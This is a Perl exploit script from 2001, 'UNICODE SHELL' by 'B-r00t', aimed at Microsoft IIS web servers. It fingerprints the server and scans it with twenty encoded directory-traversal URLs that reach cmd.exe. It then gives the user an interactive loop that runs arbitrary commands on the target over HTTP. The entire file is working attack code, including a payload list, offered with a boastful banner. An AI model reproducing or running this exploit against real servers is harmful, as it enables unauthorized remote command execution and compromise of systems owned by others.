#!/usr/bin/perl -w
#
# UNICODE SHELL - by B-r00t.
# A Unicode HTTP exploit for Micro$oft NT IIS WebServers.
#
# First tries to get IIS Server string. 
# Scans for usable Unicode URL in 20 different ways.
# Then allows choice of which URL to use including an URL of
# your own design eg. After copying cmd.exe to /scripts.
# Commands are executed via your choice of URL on the target
# server.
# 
# URL can be changed at anytime by typing URL. 
# The Webserver can be re-SCANed at anytime by typing SCAN.
# Program can be QUIT at anytime by typing QUIT.
# HELP prints this ...
# ENJOY !


use strict;
use IO::Socket;

# Globals Go Here.
my $host;		# Host being probed.
my $port;		# Webserver port.
my $command;		# Command to issue.
my $url;		# URL being used.
my @results;		# Results from server.
my $probe;		# Whether to display output.
my @U;			# Unicode URLS. 

# URLS - Feel free to add here.
# $U[0] always used for custom URL.
$U[1] = "/scripts/..%c0%af../winnt/system32/cmd.exe?/c+";
$U[2] = "/scripts..%c1%9c../winnt/system32/cmd.exe?/c+";
$U[3] = "/scripts/..%c1%pc../winnt/system32/cmd.exe?/c+";
$U[4] = "/scripts/..%c0%9v../winnt/system32/cmd.exe?/c+";
$U[5] = "/scripts/..%c0%qf../winnt/system32/cmd.exe?/c+";
$U[6] = "/scripts/..%c1%8s../winnt/system32/cmd.exe?/c+";
$U[7] = "/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+";
$U[8] = "/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+";
$U[9] = "/scripts/..%c1%af../winnt/system32/cmd.exe?/c+";
$U[10] = "/scripts/..%e0%80%af../winnt/system32/cmd.exe?/c+";
$U[11] = "/scripts/..%f0%80%80%af../winnt/system32/cmd.exe?/c+";
$U[12] = "/scripts/..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+";
$U[13] = "/scripts/..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+";
$U[14] = "/msadc/..\%e0\%80\%af../..\%e0\%80\%af../..\%e0\%80\%af../winnt/system32/cmd.exe\?/c\+";
$U[15] = "/cgi-bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+";
$U[16] = "/samples/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+";
$U[17] = "/iisadmpwd/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+";
$U[18] = "/_vti_cnf/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+";
$U[19] = "/_vti_bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+";
$U[20] = "/adsamples/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+";

# SUBROUTINES GO HERE. 
&intro;
&scan;
&choose;
&command;
&exit; # Play safe with this .

sub intro {
&help;
&host;
&server;
sleep 3;
};

# host subroutine.
sub host {
print "\nHost : ";
$host=<STDIN>;
chomp $host;
if ($host eq ""){$host="localhost"};
print "\nPort : ";
$port=<STDIN>;
chomp $port;
if ($port =~/\D/ ){$port="80"};
if ($port eq "" ) {$port = "80"};
};	# end host subroutine.

# Server string subroutine.
sub server {
my $X;
print "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n";
print "\nTrying to obtain IIS Server string ...";
$probe = "string";
my $output;
my $webserver = "something";
&connect;
for ($X=0; $X<=10; $X++){
	$output = $results[$X];
	if (defined $output){
	if ($output =~/IIS/){ $webserver = "iis" };
	};
};
if ($webserver ne "iis"){
print "\a\a\n\nWARNING : UNABLE TO GET IIS SERVER STRING.";		
print "\nThis Server may not be running Micro\$oft IIS WebServer";
print "\nand therefore may not be exploitable using the"; 
print "\nUnicode Bug.";
print "\n\n\nDo You Wish To Cont ... [Y/N]";
my $choice = <STDIN>;
chomp $choice;
if ($choice =~/N/i) {&exit};
            }else{
print "\n\nOK ... It Seems To Be Micro\$oft IIS.";
	};		
};  # end server subroutine.

# scan subroutine.
sub scan {
my $status = "not_vulnerable";
print "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n";
print "\nScanning Webserver $host on port $port ...";
my $loop;
my $output;
my $flag;
$command="dir";
for ($loop=1; $loop < @U; $loop++) { 
$flag = "0";
$url = $U[$loop];
$probe = "scan";
&connect;
foreach $output (@results){
if ($output =~ /Directory/) {
                              $flag = "1";
			      $status = "vulnerable";
			      };
	};

if ($flag eq "0") { 
print "\n$host is not vulnerable to Unicode URL Number $loop.";
}else{
print "\a\a\a\n$host IS VULNERABLE TO UNICODE URL NUMBER $loop !!!";
     };
};
if ($status eq "not_vulnerable"){
				print "\n\nSORRY $host is NOT Vulnerable to the UNICODE Exploit.";
				&exit;
				};
}; # end scan subroutine.

# choose URL subroutine.
sub choose {
print "\nURL To Use [0 = Other]: ";
my $choice=<STDIN>;
chomp $choice;
if ($choice > @U){ &choose };
if ($choice =~/\D/g ){ &choose };
if ($choice == 0){ &other };
$url = $U[$choice];
print "\nURL: HTTP://$host$url"; 
}; # end choose URL subroutine.

# Other URL subroutine.
sub other {
print "\nURL [minus command] eg: HTTP://$host\/scripts\/cmd.exe?\/+"; 
print "\nHTTP://$host";
my $other = <STDIN>;
chomp $other;
$U[0] = $other;
};  # end other subroutine.

# Command subroutine.
sub command {
while ($command !~/quit/i) {
print "\nHELP QUIT URL SCAN Or Command eg dir C: ";
print "\nCommand :";
$command = <STDIN>;
chomp $command;
if ($command =~/quit/i) { &exit };
if ($command =~/url/i) { &choose }; 
if ($command =~/scan/i) { &scan };
if ($command =~/help/i) { &help };
$command =~ s/\s/+/g; # remove white space.
print "HTTP://$host$url$command";
$probe = "command";
if ($command !~/quit|url|scan|help/) {&connect};
};
&exit;
};  # end command subroutine.

# Connect subroutine.
sub connect {
my $connection = IO::Socket::INET->new (
				Proto => "tcp",
				PeerAddr => "$host",
				PeerPort => "$port",
				) or die "\nSorry UNABLE TO CONNECT To $host On Port $port.\n";
$connection -> autoflush(1);
if ($probe =~/command|scan/){
print $connection "GET $url$command HTTP/1.0\r\n\r\n";
}elsif ($probe =~/string/) {
print $connection "HEAD / HTTP/1.0\r\n\r\n";
};

while ( <$connection> ) { 
			@results = <$connection>;
			 };
close $connection;
if ($probe eq "command"){ &output };
if ($probe eq "string"){ &output };
};  # end connect subroutine.

# output subroutine.
sub output{
print "\nOUTPUT FROM $host. \n\n";
my $display;
# if probe is a for server string display only first 10 lines.
if ($probe eq "string") {
			my $X;
			for ($X=0; $X<=10; $X++) {
			$display = $results[$X];
			if (defined $display){print "$display";};
			sleep 1;
				};
# else print all server output to the screen.
			}else{
			foreach $display (@results){
			    print "$display";
			    sleep 1;
				};
                          };
};  # end output subroutine.

# exit subroutine.
sub exit{
print "\n\n\nIf You Cant B-r00t Then Just B#.";
print "\nByeeeeee ... !!!";
print "\n\n\n";
exit;
};

# Help subroutine.
sub help {
print "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n";
print "\n UNICODE SHELL by B-r00t. 2001.";
print "\n Br00tzC0ntactz\@Hotmail.Com ";
print "\n ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n";
print "\n A Unicode HTTP exploit for Micro\$oft NT IIS WebServers.";
print "\n";
print "\n First tries to get IIS Server string.";
print "\n Scans for usable Unicode URL in 20 different ways.";
print "\n Then allows choice of which URL to use including an URL of";
print "\n your own design eg. After copying cmd.exe to /scripts.";
print "\n Commands are executed via your choice of URL on the target";
print "\n server.";
print "\n ";
print "\n URL can be changed at anytime by typing URL."; 
print "\n The Webserver can be re-SCANed at anytime by typing SCAN.";
print "\n Program can be QUIT at anytime by typing QUIT.";
print "\n HELP prints this ... ";
print "\n ENJOY !";
print "\n\n\n";
}; # end help subroutine.


# Another fine B-r00t production ...
#
# Thanks To :
# Micro$oft For Being What It Is !  
# That One Doris ... U-Know-Who-U-R!
# Mum & Dad.
#
#
# B-r00t aka B#. 2001.
# Br00tzC0ntactz@Hotmail.Com
# ICQ 24645508.
# THE END - AMEN.